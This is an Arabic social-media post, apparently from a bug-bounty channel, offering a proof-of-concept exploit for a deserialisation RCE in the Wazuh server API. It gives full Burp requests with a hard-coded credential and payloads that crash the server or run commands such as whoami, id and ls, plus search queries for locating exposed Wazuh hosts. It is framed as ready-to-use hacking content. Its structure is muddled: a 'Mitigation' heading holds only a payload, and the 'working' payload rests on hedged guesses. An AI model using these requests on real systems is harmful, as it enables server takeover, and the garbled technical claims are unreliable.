
تم تحديد ثغرة RCE حرجة في خادم Wazuh بسبب إلغاء التسلسل غير الآمن في حزمة wazuh-manager. تؤثر هذه الثغرة على إصدارات Wazuh ≥ 4.4.0 وتم إصلاحها في الإصدار 4.9.1.
🚨 Wazuh - تنفيذ التعليمات البرمجية عن بُعد (RCE) - PoC
تم تحديد ثغرة حرجة من نوع RCE في خادم Wazuh بسبب إلغاء تسلسل غير آمن في حزمة wazuh-manager. تؤثر هذه الثغرة على إصدارات Wazuh ≥ 4.4.0 وتم إصلاحها في الإصدار 4.9.1.
🔍 التفاصيل
تكمن الثغرة في DistributedAPI الخاص بواجهة Wazuh API، حيث يتم إلغاء تسلسل المدخلات التي يتحكم بها المستخدم بطريقة غير آمنة. وهذا يسمح للمهاجمين الذين لديهم وصول إلى API (مثل لوحة تحكم أو عقدة عنقودية مخترقة) بتنفيذ أكواد Python تعسفية على الخادم الرئيسي باستخدام نقطة النهاية run_as.
📬 إثبات المفهوم (طلب Burp)
POST /security/user/authenticate/run_as HTTP/1.1
Host: target.com:55000
Authorization: Basic d2F6dXcta3dpTUltUzNjcjM3UDA1MHItOg==
Content-Type: application/json
{
"__unhandled_exc__": {
"__class__": "exit",
"__args__": []
}
}
📌 ترويسة Authorization هي ترميز base64 لـ wazuh-wui:MyS3cr37P450r.*-.
📌 تُسبب الحمولة إيقاف تشغيل خادم Wazuh عبر استدعاء دالة exit() في Python.
💥 الأثر
🛡️ التخفيف
{
"__unhandled_exc__": {
"__class__": "os",
"__import__": "os",
"system": "whoami"
}
}
لكن هذا وحده لن يعمل ما لم يقم كود إلغاء التسلسل فعليًا بتنفيذ شجرة الكائنات. بدلاً من ذلك، استخدم كائنًا قائمًا على __reduce__ ينفذ التعليمات البرمجية.
إليك الصيغة الصحيحة لـ طلب Burp باستخدام os.system() في Python عبر منطق شبيه بـ pickle:
💣 حمولة Burp العاملة لـ RCE (تنفيذ أكواد Python)
POST /security/user/authenticate/run_as HTTP/1.1
Host: target.com:55000
Authorization: Basic d2F6dXcta3dpTUltUzNjcjM3UDA1MHItOg==
Content-Type: application/json
{
"__reduce__": [
"__import__('os').system",
["whoami"]
]
}
🧬 لتشغيل ls، غيّر الحمولة إلى:
{
"__reduce__": [
"__import__('os').system",
["ls -la"]
]
}
يمكنك أيضًا استخدام:
{
"__reduce__": [
"__import__('subprocess').getoutput",
["id"]
]
}
⚠️ ملاحظة: يجب أن يتم إلغاء التسلسل الفعلي عبر eval() أو آليات مشابهة في الواجهة الخلفية لكي يعمل هذا. بناءً على إثبات المفهوم الخاص بـ Wazuh، هذا ممكن بالفعل إذا كنت تتحكم في auth_context.
🔐 نصيحة احترافية اعترض الطلب في Burp، وانتقل إلى تبويب Repeater، واختبر عدة حمولات مثل:
"whoami""id""uname -a""ls /home/wazuh"👇 الاستعلامات
product.name="Wazuh"app="Wazuh"إذا كانت الاستجابة فارغة أو كان الحالة 500، تحقق من السجلات — ففي بعض الأحيان لا يتم إرجاع المخرجات. 📚 ابقوا متمرّسين، أيها الهاكرز! المزيد من إثباتات المفهوم (PoCs) لمكافآت الثغرات، والتجاوزات (bypasses)، والحمولات (payloads) قادمة قريبًا!
تابع 👉 @cybersecplayground للمحتوى اليومي حول الاختراق!
#bugbounty #rce #wazuh #infosec #security #pentest #zeroday #exploit